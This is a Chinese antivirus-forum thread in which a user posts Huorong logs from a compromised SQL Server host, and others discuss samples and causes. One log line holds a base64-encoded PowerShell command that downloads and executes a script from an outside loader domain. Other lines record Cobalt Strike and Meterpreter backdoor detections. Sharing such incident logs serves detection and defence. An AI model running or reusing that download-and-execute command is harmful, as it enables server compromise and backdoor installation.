数据库服务器病毒 8X

qzuser01

是一些dll文件，不知道是放到什么目录下，

LovelyTim

火绒工程师 发表于 2022-6-7 10:59
收到，我们确认下哈

顺便把日志文件也放上来
因为是两次一样的病毒
就只放最新记录

1. 【2】2022-06-06 16:00:15,系统防护,应用加固,sqlservr.exe触犯应用加固规则, 已阻止
   
2. 
   
3. 防护项目：数据库
   
4. 操作目标：【执行】 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
5. 操作目标参数：C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe/c  -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBzAHMAcQBsAC4AbABvAGEAZABlAHIAMAAxADEAOAAuAHgAeQB6ADoAMQA0ADMAMwAvAG0AcwBzAHEAbAA3AC4AdAB4AHQAJwApADsA
   
6. 操作结果：已阻止
   
7. 
   
8. 保护进程路径：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
   
9. 保护进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
   
10. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
11. 
    
12. 【3】2022-06-06 15:59:28,病毒防护,文件实时监控,发现病毒Backdoor/CobaltStrike.l, 已处理
    
13. 
    
14. 病毒名称：Backdoor/CobaltStrike.l
    
15. 病毒ID：976F2654168CFB4F
    
16. 病毒路径：C:\Windows\Temp\TmpA0C0.tmp
    
17. 操作类型：修改
    
18. 操作结果：已处理
    
19. 
    
20. 进程ID：1760
    
21. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
22. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
23. 父进程：C:\Windows\System32\services.exe
    
24. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
25. 
    
26. 【4】2022-06-06 15:59:07,病毒防护,文件实时监控,发现病毒Backdoor/CobaltStrike.l, 已处理
    
27. 
    
28. 病毒名称：Backdoor/CobaltStrike.l
    
29. 病毒ID：976F2654168CFB4F
    
30. 病毒路径：C:\Windows\Temp\Tmp5157.tmp
    
31. 操作类型：修改
    
32. 操作结果：已处理
    
33. 
    
34. 进程ID：1760
    
35. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
36. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
37. 父进程：C:\Windows\System32\services.exe
    
38. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
39. 
    
40. 【5】2022-06-06 15:58:50,病毒防护,文件实时监控,发现病毒Backdoor/Meterpreter.ak, 已处理
    
41. 
    
42. 病毒名称：Backdoor/Meterpreter.ak
    
43. 病毒ID：A00D08EFDA1AA78C
    
44. 病毒路径：C:\Windows\Temp\TmpD48.tmp
    
45. 操作类型：修改
    
46. 操作结果：已处理
    
47. 
    
48. 进程ID：1760
    
49. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
50. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
51. 父进程：C:\Windows\System32\services.exe
    
52. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
53. 
    
54. 【6】2022-06-06 15:58:46,病毒防护,文件实时监控,发现病毒Backdoor/Meterpreter.ak, 已处理
    
55. 
    
56. 病毒名称：Backdoor/Meterpreter.ak
    
57. 病毒ID：A00D08EFDA1AA78C
    
58. 病毒路径：C:\Windows\Temp\TmpFB07.tmp
    
59. 操作类型：修改
    
60. 操作结果：已处理
    
61. 
    
62. 进程ID：1760
    
63. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
64. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
65. 父进程：C:\Windows\System32\services.exe
    
66. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

复制代码

qzuser01

我看到你发了一个数据库病毒，样本实际是两个dll文件，不知道还有没有类似的主程序，

LovelyTim

qzuser01 发表于 2022-6-7 11:37
我看到你发了一个数据库病毒，样本实际是两个dll文件，不知道还有没有类似的主程序，

已经将火绒隔离区的全部文件提取出来了

qzuser01

好的,是什么原因被攻击进去的查到了吗，方便加个qq不，私信发给我 我加你！

rogersg

ESET Internet Security 清空

swizzer

清蒸波波面 发表于 2022-6-7 11:10
智量扫描MISS，奇怪的是1分钟后文件少了4个，2分钟后剩余的4个文件消失，监控日志和系统都没有提示， ...

WD开了吗

清蒸波波面

swizzer 发表于 2022-6-7 12:40
WD开了吗

没开，禁用了。

我爱你哦123

服务器开着就会被攻击放毒是吗？

pal家族

短时间用貌似安装KSOS更好